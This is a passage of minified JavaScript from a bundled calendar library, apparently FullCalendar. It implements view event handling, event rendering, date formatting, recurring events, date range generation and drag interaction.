i=this.calendar.eventManager.mutateEventsWithId(e.def.id,t),a=t.dateMutation;a&&(e.dateProfile=a.buildNewDateProfile(e.dateProfile,this.calendar)),this.triggerEventDrop(e,a&&a.dateDelta||s.duration(),i,n,r)},t.prototype.triggerEventDrop=function(e,t,n,r,i){this.publiclyTrigger("eventDrop",{context:r[0],args:[e.toLegacy(),t,n,i,{},this]})},t.prototype.reportExternalDrop=function(e,t,n,r,i,s){t&&this.calendar.eventManager.addEventDef(e,n),this.triggerExternalDrop(e,t,r,i,s)},t.prototype.triggerExternalDrop=function(e,t,n,r,i){this.publiclyTrigger("drop",{context:n[0],args:[e.dateProfile.start.clone(),r,i,this]}),t&&this.publiclyTrigger("eventReceive",{context:this,args:[e.buildInstance().toLegacy(),this]})},t.prototype.reportEventResize=function(e,t,n,r){var i=this.calendar.eventManager.mutateEventsWithId(e.def.id,t);e.dateProfile=t.dateMutation.buildNewDateProfile(e.dateProfile,this.calendar);var s=t.dateMutation.endDelta||t.dateMutation.startDelta;this.triggerEventResize(e,s,i,n,r)},t.prototype.triggerEventResize=function(e,t,n,r,i){this.publiclyTrigger("eventResize",{context:r[0],args:[e.toLegacy(),t,n,i,{},this]})},t.prototype.select=function(e,t){this.unselect(t),this.renderSelectionFootprint(e),this.reportSelection(e,t)},t.prototype.renderSelectionFootprint=function(t){this.renderSelection?this.renderSelection(t.toLegacy(this.calendar)):e.prototype.renderSelectionFootprint.call(this,t)},t.prototype.reportSelection=function(e,t){this.isSelected=!0,this.triggerSelect(e,t)},t.prototype.triggerSelect=function(e,t){var n=this.calendar.footprintToDateProfile(e);this.publiclyTrigger("select",{context:this,args:[n.start,n.end,t,this]})},t.prototype.unselect=function(e){this.isSelected&&(this.isSelected=!1,this.destroySelection&&this.destroySelection(),this.unrenderSelection(),this.publiclyTrigger("unselect",{context:this,args:[e,this]}))},t.prototype.selectEventInstance=function(e){this.selectedEventInstance&&this.selectedEventInstance===e||(this.unselectEventInstance(),this.getEventSegs().forEach((function(t){t.footprint.eventInstance===e&&t.el&&t.el.addClass("fc-selected")})),this.selectedEventInstance=e)},t.prototype.unselectEventInstance=function(){this.selectedEventInstance&&(this.getEventSegs().forEach((function(e){e.el&&e.el.removeClass("fc-selected")})),this.selectedEventInstance=null)},t.prototype.isEventDefSelected=function(e){return this.selectedEventInstance&&this.selectedEventInstance.def.id===e.id},t.prototype.handleDocumentMousedown=function(e){a.isPrimaryMouseButton(e)&&this.processUnselect(e)},t.prototype.processUnselect=function(e){this.processRangeUnselect(e),this.processEventUnselect(e)},t.prototype.processRangeUnselect=function(e){var t;this.isSelected&&this.opt("unselectAuto")&&((t=this.opt("unselectCancel"))&&i(e.target).closest(t).length||this.unselect(e))},t.prototype.processEventUnselect=function(e){this.selectedEventInstance&&(i(e.target).closest(".fc-selected").length||this.unselectEventInstance())},t.prototype.triggerBaseRendered=function(){this.publiclyTrigger("viewRender",{context:this,args:[this,this.el]})},t.prototype.triggerBaseUnrendered=function(){this.publiclyTrigger("viewDestroy",{context:this,args:[this,this.el]})},t.prototype.triggerDayClick=function(e,t,n){var r=this.calendar.footprintToDateProfile(e);this.publiclyTrigger("dayClick",{context:t,args:[r.start,n,this]})},t.prototype.isDateInOtherMonth=function(e,t){return!1},t.prototype.getUnzonedRangeOption=function(e){var t=this.opt(e);if("function"==typeof t&&(t=t.apply(null,Array.prototype.slice.call(arguments,1))),t)return this.calendar.parseUnzonedRange(t)},t.prototype.initHiddenDays=function(){var e,t=this.opt("hiddenDays")||[],n=[],r=0;for(!1===this.opt("weekends")&&t.push(0,6),e=0;e<7;e++)(n[e]=-1!==i.inArray(e,t))||r++;if(!r)throw new Error("invalid hiddenDays");this.isHiddenDayHash=n},t.prototype.trimHiddenDays=function(e){var t=e.getStart(),n=e.getEnd();return t&&(t=this.skipHiddenDays(t)),n&&(n=this.skipHiddenDays(n,-1,!0)),null===t||null===n||t<n?new c.default(t,n):null},t.prototype.isHiddenDay=function(e){return s.isMoment(e)&&(e=e.day()),this.isHiddenDayHash[e]},t.prototype.skipHiddenDays=function(e,t,n){void 0===t&&(t=1),void 0===n&&(n=!1);for(var r=e.clone();this.isHiddenDayHash[(r.day()+(n?t:0)+7)%7];)r.add(t,"days");return r},t}(u.default);t.default=h,h.prototype.usesMinMaxTime=!1,h.prototype.dateProfileGeneratorClass=d.default,h.watch("displayingDates",["isInDom","dateProfile"],(function(e){this.requestDateRender(e.dateProfile)}),(function(){this.requestDateUnrender()})),h.watch("displayingBusinessHours",["displayingDates","businessHourGenerator"],(function(e){this.requestBusinessHoursRender(e.businessHourGenerator)}),(function(){this.requestBusinessHoursUnrender()})),h.watch("initialEvents",["dateProfile"],(function(e){return this.fetchInitialEvents(e.dateProfile)})),h.watch("bindingEvents",["initialEvents"],(function(e){this.setEvents(e.initialEvents),this.bindEventChanges()}),(function(){this.unbindEventChanges(),this.unsetEvents()})),h.watch("displayingEvents",["displayingDates","hasEvents"],(function(){this.requestEventsRender(this.get("currentEvents"))}),(function(){this.requestEventsUnrender()})),h.watch("title",["dateProfile"],(function(e){return this.title=this.computeTitle(e.dateProfile)})),h.watch("legacyDateProps",["dateProfile"],(function(e){var t=this.calendar,n=e.dateProfile;this.start=t.msToMoment(n.activeUnzonedRange.startMs,n.isRangeAllDay),this.end=t.msToMoment(n.activeUnzonedRange.endMs,n.isRangeAllDay),this.intervalStart=t.msToMoment(n.currentUnzonedRange.startMs,n.isRangeAllDay),this.intervalEnd=t.msToMoment(n.currentUnzonedRange.endMs,n.isRangeAllDay)}))},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(3),i=n(4),s=function(){function e(e,t){this.view=e._getView(),this.component=e,this.fillRenderer=t}return e.prototype.opt=function(e){return this.view.opt(e)},e.prototype.rangeUpdated=function(){var e,t;this.eventTimeFormat=this.opt("eventTimeFormat")||this.opt("timeFormat")||this.computeEventTimeFormat(),null==(e=this.opt("displayEventTime"))&&(e=this.computeDisplayEventTime()),null==(t=this.opt("displayEventEnd"))&&(t=this.computeDisplayEventEnd()),this.displayEventTime=e,this.displayEventEnd=t},e.prototype.render=function(e){var t,n,r,i=this.component._getDateProfile(),s=[],a=[];for(t in e)r=(n=e[t]).sliceRenderRanges(i.activeUnzonedRange),n.getEventDef().hasBgRendering()?s.push.apply(s,r):a.push.apply(a,r);this.renderBgRanges(s),this.renderFgRanges(a)},e.prototype.unrender=function(){this.unrenderBgRanges(),this.unrenderFgRanges()},e.prototype.renderFgRanges=function(e){var t=this.component.eventRangesToEventFootprints(e),n=this.component.eventFootprintsToSegs(t);n=this.renderFgSegEls(n),!1!==this.renderFgSegs(n)&&(this.fgSegs=n)},e.prototype.unrenderFgRanges=function(){this.unrenderFgSegs(this.fgSegs||[]),this.fgSegs=null},e.prototype.renderBgRanges=function(e){var t=this.component.eventRangesToEventFootprints(e),n=this.component.eventFootprintsToSegs(t);!1!==this.renderBgSegs(n)&&(this.bgSegs=n)},e.prototype.unrenderBgRanges=function(){this.unrenderBgSegs(),this.bgSegs=null},e.prototype.getSegs=function(){return(this.bgSegs||[]).concat(this.fgSegs||[])},e.prototype.renderFgSegs=function(e){return!1},e.prototype.unrenderFgSegs=function(e){},e.prototype.renderBgSegs=function(e){var t=this;if(!this.fillRenderer)return!1;this.fillRenderer.renderSegs("bgEvent",e,{getClasses:function(e){return t.getBgClasses(e.footprint.eventDef)},getCss:function(e){return{"background-color":t.getBgColor(e.footprint.eventDef)}},filterEl:function(e,n){return t.filterEventRenderEl(e.footprint,n)}})},e.prototype.unrenderBgSegs=function(){this.fillRenderer&&this.fillRenderer.unrender("bgEvent")},e.prototype.renderFgSegEls=function(e,t){var n=this;void 0===t&&(t=!1);var i,s=this.view.hasPublicHandlers("eventRender"),a="",o=[];if(e.length){for(i=0;i<e.length;i++)this.beforeFgSegHtml(e[i]),a+=this.fgSegHtml(e[i],t);r(a).each((function(t,i){var a=e[t],d=r(i);s&&(d=n.filterEventRenderEl(a.footprint,d)),d&&(d.data("fc-seg",a),a.el=d,o.push(a))}))}return o},e.prototype.beforeFgSegHtml=function(e){},e.prototype.fgSegHtml=function(e,t){},e.prototype.getSegClasses=function(e,t,n){var r=["fc-event",e.isStart?"fc-start":"fc-not-start",e.isEnd?"fc-end":"fc-not-end"].concat(this.getClasses(e.footprint.eventDef));return t&&r.push("fc-draggable"),n&&r.push("fc-resizable"),this.view.isEventDefSelected(e.footprint.eventDef)&&r.push("fc-selected"),r},e.prototype.filterEventRenderEl=function(e,t){var n=e.getEventLegacy(),i=this.view.publiclyTrigger("eventRender",{context:n,args:[n,t,this.view]});return!1===i?t=null:i&&!0!==i&&(t=r(i)),t},e.prototype.getTimeText=function(e,t,n){return this._getTimeText(e.eventInstance.dateProfile.start,e.eventInstance.dateProfile.end,e.componentFootprint.isAllDay,t,n)},e.prototype._getTimeText=function(e,t,n,r,i){return null==r&&(r=this.eventTimeFormat),null==i&&(i=this.displayEventEnd),this.displayEventTime&&!n?i&&t?this.view.formatRange({start:e,end:t},!1,r):e.format(r):""},e.prototype.computeEventTimeFormat=function(){return this.opt("smallTimeFormat")},e.prototype.computeDisplayEventTime=function(){return!0},e.prototype.computeDisplayEventEnd=function(){return!0},e.prototype.getBgClasses=function(e){var t=this.getClasses(e);return t.push("fc-bgevent"),t},e.prototype.getClasses=function(e){var t,n=this.getStylingObjs(e),r=[];for(t=0;t<n.length;t++)r.push.apply(r,n[t].eventClassName||n[t].className||[]);return r},e.prototype.getSkinCss=function(e){return{"background-color":this.getBgColor(e),"border-color":this.getBorderColor(e),color:this.getTextColor(e)}},e.prototype.getBgColor=function(e){var t,n,r=this.getStylingObjs(e);for(t=0;t<r.length&&!n;t++)n=r[t].eventBackgroundColor||r[t].eventColor||r[t].backgroundColor||r[t].color;return n||(n=this.opt("eventBackgroundColor")||this.opt("eventColor")),n},e.prototype.getBorderColor=function(e){var t,n,r=this.getStylingObjs(e);for(t=0;t<r.length&&!n;t++)n=r[t].eventBorderColor||r[t].eventColor||r[t].borderColor||r[t].color;return n||(n=this.opt("eventBorderColor")||this.opt("eventColor")),n},e.prototype.getTextColor=function(e){var t,n,r=this.getStylingObjs(e);for(t=0;t<r.length&&!n;t++)n=r[t].eventTextColor||r[t].textColor;return n||(n=this.opt("eventTextColor")),n},e.prototype.getStylingObjs=function(e){var t=this.getFallbackStylingObjs(e);return t.unshift(e),t},e.prototype.getFallbackStylingObjs=function(e){return[e.source]},e.prototype.sortEventSegs=function(e){e.sort(i.proxy(this,"compareEventSegs"))},e.prototype.compareEventSegs=function(e,t){var n=e.footprint,r=t.footprint,s=n.componentFootprint,a=r.componentFootprint,o=s.unzonedRange,d=a.unzonedRange;return o.startMs-d.startMs||d.endMs-d.startMs-(o.endMs-o.startMs)||a.isAllDay-s.isAllDay||i.compareByFieldSpecs(n.eventDef,r.eventDef,this.view.eventOrderSpecs,n.eventDef.miscProps,r.eventDef.miscProps)},e}();t.default=s},,,,,function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(11);function i(e){return"en"!==e.locale()?e.clone().locale("en"):e}r.newMomentProto.format=function(){return this._fullCalendar&&arguments[0]?u(this,arguments[0]):this._ambigTime?r.oldMomentFormat(i(this),"YYYY-MM-DD"):this._ambigZone?r.oldMomentFormat(i(this),"YYYY-MM-DD[T]HH:mm:ss"):this._fullCalendar?r.oldMomentFormat(i(this)):r.oldMomentProto.format.apply(this,arguments)},r.newMomentProto.toISOString=function(){return this._ambigTime?r.oldMomentFormat(i(this),"YYYY-MM-DD"):this._ambigZone?r.oldMomentFormat(i(this),"YYYY-MM-DD[T]HH:mm:ss"):this._fullCalendar?r.oldMomentProto.toISOString.apply(i(this),arguments):r.oldMomentProto.toISOString.apply(this,arguments)};var s="",a=new RegExp("([^]*)","g"),o={t:function(e){return r.oldMomentFormat(e,"a").charAt(0)},T:function(e){return r.oldMomentFormat(e,"A").charAt(0)}},d={Y:{value:1,unit:"year"},M:{value:2,unit:"month"},W:{value:3,unit:"week"},w:{value:3,unit:"week"},D:{value:4,unit:"day"},d:{value:4,unit:"day"}};function u(e,t){return function(e,t){return y(_(e,t).join(""))}(c(t).fakeFormatString,e)}t.formatDate=u,t.formatRange=function(e,t,n,i,s){return e=r.default.parseZone(e),t=r.default.parseZone(t),function(e,t,n,r,i){var s,a,o,d=e.sameUnits,u=t.clone().stripZone(),l=n.clone().stripZone(),c=_(e.fakeFormatString,t),h=_(e.fakeFormatString,n),m="",p="",f="",g="",v="";for(s=0;s<d.length&&(!d[s]||u.isSame(l,d[s]));s++)m+=c[s];for(a=d.length-1;a>s&&(!d[a]||u.isSame(l,d[a]))&&(a-1!==s||"."!==c[a]);a--)p=c[a]+p;for(o=s;o<=a;o++)f+=c[o],g+=h[o];return(f||g)&&(v=i?g+r+f:f+r+g),y(m+v+p)}(c(n=e.localeData().longDateFormat(n)||n),e,t,i||" - ",s)};var l={};function c(e){return l[e]||(l[e]=function(e){var t=h(e);return{fakeFormatString:p(t),sameUnits:f(t)}}(e))}function h(e){for(var t,n=[],r=/\[([^\]]*)\]|\(([^\)]*)\)|(LTS|LT|(\w)\4*o?)|([^\w\[\(]+)/g;t=r.exec(e);)t[1]?n.push.apply(n,m(t[1])):t[2]?n.push({maybe:h(t[2])}):t[3]?n.push({token:t[3]}):t[5]&&n.push.apply(n,m(t[5]));return n}function m(e){return". "===e?["."," "]:[e]}function p(e){var t,n,r=[];for(t=0;t<e.length;t++)"string"==typeof(n=e[t])?r.push("["+n+"]"):n.token?n.token in o?r.push("["+n.token+"]"):r.push(n.token):n.maybe&&r.push(s+p(n.maybe)+s);return r.join("\v")}function f(e){var t,n,r,i=[];for(t=0;t<e.length;t++)(n=e[t]).token?(r=d[n.token.charAt(0)],i.push(r?r.unit:"second")):n.maybe?i.push.apply(i,f(n.maybe)):i.push(null);return i}function _(e,t){var n,i,s=[],a=r.oldMomentFormat(t,e).split("\v");for(n=0;n<a.length;n++)""===(i=a[n]).charAt(0)?s.push(o[i.substring(1)](t)):s.push(i);return s}function y(e){return e.replace(a,(function(e,t){return t.match(/[1-9]/)?t:""}))}t.queryMostGranularFormatUnit=function(e){var t,n,r,i,s=h(e);for(t=0;t<s.length;t++)(n=s[t]).token&&(r=d[n.token.charAt(0)])&&(!i||r.value>i.value)&&(i=r);return i?i.unit:null}},function(e,t){Object.defineProperty(t,"__esModule",{value:!0});var n=function(e,t,n){this.unzonedRange=e,this.eventDef=t,n&&(this.eventInstance=n)};t.default=n},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(35),s=n(13),a=n(7),o=function(e){function t(){var t=e.call(this)||this;return t._watchers={},t._props={},t.applyGlobalWatchers(),t.constructed(),t}return r.__extends(t,e),t.watch=function(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];this.prototype.hasOwnProperty("_globalWatchArgs")||(this.prototype._globalWatchArgs=Object.create(this.prototype._globalWatchArgs)),this.prototype._globalWatchArgs[e]=t},t.prototype.constructed=function(){},t.prototype.applyGlobalWatchers=function(){var e,t=this._globalWatchArgs;for(e in t)this.watch.apply(this,[e].concat(t[e]))},t.prototype.has=function(e){return e in this._props},t.prototype.get=function(e){return void 0===e?this._props:this._props[e]},t.prototype.set=function(e,t){var n;"string"==typeof e?(n={})[e]=void 0===t?null:t:n=e,this.setProps(n)},t.prototype.reset=function(e){var t,n=this._props,r={};for(t in n)r[t]=void 0;for(t in e)r[t]=e[t];this.setProps(r)},t.prototype.unset=function(e){var t,n,r={};for(t="string"==typeof e?[e]:e,n=0;n<t.length;n++)r[t[n]]=void 0;this.setProps(r)},t.prototype.setProps=function(e){var t,n,r={},i=0;for(t in e)"object"!=typeof(n=e[t])&&n===this._props[t]||(r[t]=n,i++);if(i){for(t in this.trigger("before:batchChange",r),r)n=r[t],this.trigger("before:change",t,n),this.trigger("before:change:"+t,n);for(t in r)void 0===(n=r[t])?delete this._props[t]:this._props[t]=n,this.trigger("change:"+t,n),this.trigger("change",t,n);this.trigger("batchChange",r)}},t.prototype.watch=function(e,t,n,r){var i=this;this.unwatch(e),this._watchers[e]=this._watchDeps(t,(function(t){var r=n.call(i,t);r&&r.then?(i.unset(e),r.then((function(t){i.set(e,t)}))):i.set(e,r)}),(function(t){i.unset(e),r&&r.call(i,t)}))},t.prototype.unwatch=function(e){var t=this._watchers[e];t&&(delete this._watchers[e],t.teardown())},t.prototype._watchDeps=function(e,t,n){var r=this,i=0,s=e.length,a=0,o={},d=[],u=!1,l=function(e,t){r.on(e,t),d.push([e,t])};return e.forEach((function(e){var r=!1;"?"===e.charAt(0)&&(e=e.substring(1),r=!0),l("before:change:"+e,(function(e){1==++i&&a===s&&(u=!0,n(o),u=!1)})),l("change:"+e,(function(n){!function(e,n,r){void 0===n?(r||void 0===o[e]||a--,delete o[e]):(r||void 0!==o[e]||a++,o[e]=n),--i||a===s&&(u||t(o))}(e,n,r)}))})),e.forEach((function(e){var t=!1;"?"===e.charAt(0)&&(e=e.substring(1),t=!0),r.has(e)?(o[e]=r.get(e),a++):t&&a++})),a===s&&t(o),{teardown:function(){for(var e=0;e<d.length;e++)r.off(d[e][0],d[e][1]);d=null,a===s&&n()},flash:function(){a===s&&(n(),t(o))}}},t.prototype.flash=function(e){var t=this._watchers[e];t&&t.flash()},t}(i.default);t.default=o,o.prototype._globalWatchArgs={},s.default.mixInto(o),a.default.mixInto(o)},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(4),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.defineStandardProps=function(e){var t=this.prototype;t.hasOwnProperty("standardPropMap")||(t.standardPropMap=Object.create(t.standardPropMap)),i.copyOwnProps(e,t.standardPropMap)},t.copyVerbatimStandardProps=function(e,t){var n,r=this.prototype.standardPropMap;for(n in r)null!=e[n]&&!0===r[n]&&(t[n]=e[n])},t.prototype.applyProps=function(e){var t,n=this.standardPropMap,r={},i={};for(t in e)!0===n[t]?this[t]=e[t]:!1===n[t]?r[t]=e[t]:i[t]=e[t];return this.applyMiscProps(i),this.applyManualStandardProps(r)},t.prototype.applyManualStandardProps=function(e){return!0},t.prototype.applyMiscProps=function(e){},t.prototype.isStandardProp=function(e){return e in this.standardPropMap},t}(n(15).default);t.default=s,s.prototype.standardPropMap={}},function(e,t){Object.defineProperty(t,"__esModule",{value:!0});var n=function(){function e(e,t){this.def=e,this.dateProfile=t}return e.prototype.toLegacy=function(){var e=this.dateProfile,t=this.def.toLegacy();return t.start=e.start.clone(),t.end=e.end?e.end.clone():null,t},e}();t.default=n},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(3),s=n(0),a=n(37),o=n(53),d=n(16),u=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.prototype.isAllDay=function(){return!this.startTime&&!this.endTime},t.prototype.buildInstances=function(e){for(var t,n,r,i=this.source.calendar,s=e.getStart(),a=e.getEnd(),u=[];s.isBefore(a);)this.dowHash&&!this.dowHash[s.day()]||(n=(t=i.applyTimezone(s)).clone(),r=null,this.startTime?n.time(this.startTime):n.stripTime(),this.endTime&&(r=t.clone().time(this.endTime)),u.push(new o.default(this,new d.default(n,r,i)))),s.add(1,"days");return u},t.prototype.setDow=function(e){this.dowHash||(this.dowHash={});for(var t=0;t<e.length;t++)this.dowHash[e[t]]=!0},t.prototype.clone=function(){var t=e.prototype.clone.call(this);return t.startTime&&(t.startTime=s.duration(this.startTime)),t.endTime&&(t.endTime=s.duration(this.endTime)),this.dowHash&&(t.dowHash=i.extend({},this.dowHash)),t},t}(a.default);t.default=u,u.prototype.applyProps=function(e){var t=a.default.prototype.applyProps.call(this,e);return e.start&&(this.startTime=s.duration(e.start)),e.end&&(this.endTime=s.duration(e.end)),e.dow&&this.setDow(e.dow),t},u.defineStandardProps({start:!1,end:!1,dow:!1})},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(0),i=n(4),s=n(5),a=function(){function e(e){this._view=e}return e.prototype.opt=function(e){return this._view.opt(e)},e.prototype.trimHiddenDays=function(e){return this._view.trimHiddenDays(e)},e.prototype.msToUtcMoment=function(e,t){return this._view.calendar.msToUtcMoment(e,t)},e.prototype.buildPrev=function(e){var t=e.date.clone().startOf(e.currentRangeUnit).subtract(e.dateIncrement);return this.build(t,-1)},e.prototype.buildNext=function(e){var t=e.date.clone().startOf(e.currentRangeUnit).add(e.dateIncrement);return this.build(t,1)},e.prototype.build=function(e,t,n){void 0===n&&(n=!1);var i,s,a,o,d,u,l,c,h=!e.hasTime();return i=this.buildValidRange(),i=this.trimHiddenDays(i),n&&(e=this.msToUtcMoment(i.constrainDate(e),h)),o=this.buildCurrentRangeInfo(e,t),d=/^(year|month|week|day)$/.test(o.unit),u=this.buildRenderRange(this.trimHiddenDays(o.unzonedRange),o.unit,d),l=(u=this.trimHiddenDays(u)).clone(),this.opt("showNonCurrentDates")||(l=l.intersect(o.unzonedRange)),s=r.duration(this.opt("minTime")),a=r.duration(this.opt("maxTime")),(l=(l=this.adjustActiveRange(l,s,a)).intersect(i))&&(e=this.msToUtcMoment(l.constrainDate(e),h)),c=o.unzonedRange.intersectsWith(i),{validUnzonedRange:i,currentUnzonedRange:o.unzonedRange,currentRangeUnit:o.unit,isRangeAllDay:d,activeUnzonedRange:l,renderUnzonedRange:u,minTime:s,maxTime:a,isValid:c,date:e,dateIncrement:this.buildDateIncrement(o.duration)}},e.prototype.buildValidRange=function(){return this._view.getUnzonedRangeOption("validRange",this._view.calendar.getNow())||new s.default},e.prototype.buildCurrentRangeInfo=function(e,t){var n,r=this._view.viewSpec,s=null,a=null,o=null;return r.duration?(s=r.duration,a=r.durationUnit,o=this.buildRangeFromDuration(e,t,s,a)):(n=this.opt("dayCount"))?(a="day",o=this.buildRangeFromDayCount(e,t,n)):(o=this.buildCustomVisibleRange(e))?a=i.computeGreatestUnit(o.getStart(),o.getEnd()):(s=this.getFallbackDuration(),a=i.computeGreatestUnit(s),o=this.buildRangeFromDuration(e,t,s,a)),{duration:s,unit:a,unzonedRange:o}},e.prototype.getFallbackDuration=function(){return r.duration({days:1})},e.prototype.adjustActiveRange=function(e,t,n){var r=e.getStart(),i=e.getEnd();return this._view.usesMinMaxTime&&(t<0&&r.time(0).add(t),n>864e5&&i.time(n-864e5)),new s.default(r,i)},e.prototype.buildRangeFromDuration=function(e,t,n,a){var o,d,u,l,c,h=this.opt("dateAlignment");function m(){u=e.clone().startOf(h),l=u.clone().add(n),c=new s.default(u,l)}return h||((o=this.opt("dateIncrement"))?(d=r.duration(o),h=d<n?i.computeDurationGreatestUnit(d,o):a):h=a),n.as("days")<=1&&this._view.isHiddenDay(u)&&(u=this._view.skipHiddenDays(u,t)).startOf("day"),m(),this.trimHiddenDays(c)||(e=this._view.skipHiddenDays(e,t),m()),c},e.prototype.buildRangeFromDayCount=function(e,t,n){var r,i,a=this.opt("dateAlignment"),o=0;if(a||-1!==t){r=e.clone(),a&&r.startOf(a),r.startOf("day"),i=(r=this._view.skipHiddenDays(r)).clone();do{i.add(1,"day"),this._view.isHiddenDay(i)||o++}while(o<n)}else{i=e.clone().startOf("day").add(1,"day"),r=(i=this._view.skipHiddenDays(i,-1,!0)).clone();do{r.add(-1,"day"),this._view.isHiddenDay(r)||o++}while(o<n)}return new s.default(r,i)},e.prototype.buildCustomVisibleRange=function(e){var t=this._view.getUnzonedRangeOption("visibleRange",this._view.calendar.applyTimezone(e));return!t||null!=t.startMs&&null!=t.endMs?t:null},e.prototype.buildRenderRange=function(e,t,n){return e.clone()},e.prototype.buildDateIncrement=function(e){var t,n=this.opt("dateIncrement");return n?r.duration(n):(t=this.opt("dateAlignment"))?r.duration(1,t):e||r.duration({days:1})},e}();t.default=a},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(3),s=n(4),a=n(21),o=n(6),d=n(9),u=function(e){function t(t){var n=e.call(this,t)||this;return n.eventDefs=[],n}return r.__extends(t,e),t.parse=function(e,t){var n;return i.isArray(e.events)?n=e:i.isArray(e)&&(n={events:e}),!!n&&o.default.parse.call(this,n,t)},t.prototype.setRawEventDefs=function(e){this.rawEventDefs=e,this.eventDefs=this.parseEventDefs(e)},t.prototype.fetch=function(e,t,n){var r,i=this.eventDefs;if(null!=this.currentTimezone&&this.currentTimezone!==n)for(r=0;r<i.length;r++)i[r]instanceof d.default&&i[r].rezone();return this.currentTimezone=n,a.default.resolve(i)},t.prototype.addEventDef=function(e){this.eventDefs.push(e)},t.prototype.removeEventDefsById=function(e){return s.removeMatching(this.eventDefs,(function(t){return t.id===e}))},t.prototype.removeAllEventDefs=function(){this.eventDefs=[]},t.prototype.getPrimitive=function(){return this.rawEventDefs},t.prototype.applyManualStandardProps=function(t){var n=e.prototype.applyManualStandardProps.call(this,t);return this.setRawEventDefs(t.events),n},t}(o.default);t.default=u,u.defineStandardProps({events:!1})},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(221),i=n(222),s={};t.defineThemeSystem=function(e,t){s[e]=t},t.getThemeSystemClass=function(e){return e?!0===e?i.default:s[e]:r.default}},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(3),i=n(4),s=function(){function e(e){this.isHorizontal=!1,this.isVertical=!1,this.els=r(e.els),this.isHorizontal=e.isHorizontal,this.isVertical=e.isVertical,this.forcedOffsetParentEl=e.offsetParent?r(e.offsetParent):null}return e.prototype.build=function(){var e=this.forcedOffsetParentEl;!e&&this.els.length>0&&(e=this.els.eq(0).offsetParent()),this.origin=e?e.offset():null,this.boundingRect=this.queryBoundingRect(),this.isHorizontal&&this.buildElHorizontals(),this.isVertical&&this.buildElVerticals()},e.prototype.clear=function(){this.origin=null,this.boundingRect=null,this.lefts=null,this.rights=null,this.tops=null,this.bottoms=null},e.prototype.ensureBuilt=function(){this.origin||this.build()},e.prototype.buildElHorizontals=function(){var e=[],t=[];this.els.each((function(n,i){var s=r(i),a=s.offset().left,o=s.outerWidth();e.push(a),t.push(a+o)})),this.lefts=e,this.rights=t},e.prototype.buildElVerticals=function(){var e=[],t=[];this.els.each((function(n,i){var s=r(i),a=s.offset().top,o=s.outerHeight();e.push(a),t.push(a+o)})),this.tops=e,this.bottoms=t},e.prototype.getHorizontalIndex=function(e){this.ensureBuilt();var t,n=this.lefts,r=this.rights,i=n.length;for(t=0;t<i;t++)if(e>=n[t]&&e<r[t])return t},e.prototype.getVerticalIndex=function(e){this.ensureBuilt();var t,n=this.tops,r=this.bottoms,i=n.length;for(t=0;t<i;t++)if(e>=n[t]&&e<r[t])return t},e.prototype.getLeftOffset=function(e){return this.ensureBuilt(),this.lefts[e]},e.prototype.getLeftPosition=function(e){return this.ensureBuilt(),this.lefts[e]-this.origin.left},e.prototype.getRightOffset=function(e){return this.ensureBuilt(),this.rights[e]},e.prototype.getRightPosition=function(e){return this.ensureBuilt(),this.rights[e]-this.origin.left},e.prototype.getWidth=function(e){return this.ensureBuilt(),this.rights[e]-this.lefts[e]},e.prototype.getTopOffset=function(e){return this.ensureBuilt(),this.tops[e]},e.prototype.getTopPosition=function(e){return this.ensureBuilt(),this.tops[e]-this.origin.top},e.prototype.getBottomOffset=function(e){return this.ensureBuilt(),this.bottoms[e]},e.prototype.getBottomPosition=function(e){return this.ensureBuilt(),this.bottoms[e]-this.origin.top},e.prototype.getHeight=function(e){return this.ensureBuilt(),this.bottoms[e]-this.tops[e]},e.prototype.queryBoundingRect=function(){var e;return this.els.length>0&&!(e=i.getScrollParent(this.els.eq(0))).is(document)&&!e.is("html,body")?i.getClientRect(e):null},e.prototype.isPointInBounds=function(e,t){return this.isLeftInBounds(e)&&this.isTopInBounds(t)},e.prototype.isLeftInBounds=function(e){return!this.boundingRect||e>=this.boundingRect.left&&e<this.boundingRect.right},e.prototype.isTopInBounds=function(e){return!this.boundingRect||e>=this.boundingRect.top&&e<this.boundingRect.bottom},e}();t.default=s},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(3),i=n(4),s=n(7),a=n(23),o=function(){function e(e){this.isInteracting=!1,this.isDistanceSurpassed=!1,this.isDelayEnded=!1,this.isDragging=!1,this.isTouch=!1,this.isGeneric=!1,this.shouldCancelTouchScroll=!0,this.scrollAlwaysKills=!1,this.isAutoScroll=!1,this.scrollSensitivity=30,this.scrollSpeed=200,this.scrollIntervalMs=50,this.options=e||{}}return e.prototype.startInteraction=function(e,t){if(void 0===t&&(t={}),"mousedown"===e.type){if(a.default.get().shouldIgnoreMouse())return;if(!i.isPrimaryMouseButton(e))return;e.preventDefault()}this.isInteracting||(this.delay=i.firstDefined(t.delay,this.options.delay,0),this.minDistance=i.firstDefined(t.distance,this.options.distance,0),this.subjectEl=this.options.subjectEl,i.preventSelection(r("body")),this.isInteracting=!0,this.isTouch=i.getEvIsTouch(e),this.isGeneric="dragstart"===e.type,this.isDelayEnded=!1,this.isDistanceSurpassed=!1,this.originX=i.getEvX(e),this.originY=i.getEvY(e),this.scrollEl=i.getScrollParent(r(e.target)),this.bindHandlers(),this.initAutoScroll(),this.handleInteractionStart(e),this.startDelay(e),this.minDistance||this.handleDistanceSurpassed(e))},e.prototype.handleInteractionStart=function(e){this.trigger("interactionStart",e)},e.prototype.endInteraction=function(e,t){this.isInteracting&&(this.endDrag(e),this.delayTimeoutId&&(clearTimeout(this.delayTimeoutId),this.delayTimeoutId=null),this.destroyAutoScroll(),this.unbindHandlers(),this.isInteracting=!1,this.handleInteractionEnd(e,t),i.allowSelection(r("body")))},e.prototype.handleInteractionEnd=function(e,t){this.trigger("interactionEnd",e,t||!1)},e.prototype.bindHandlers=function(){var 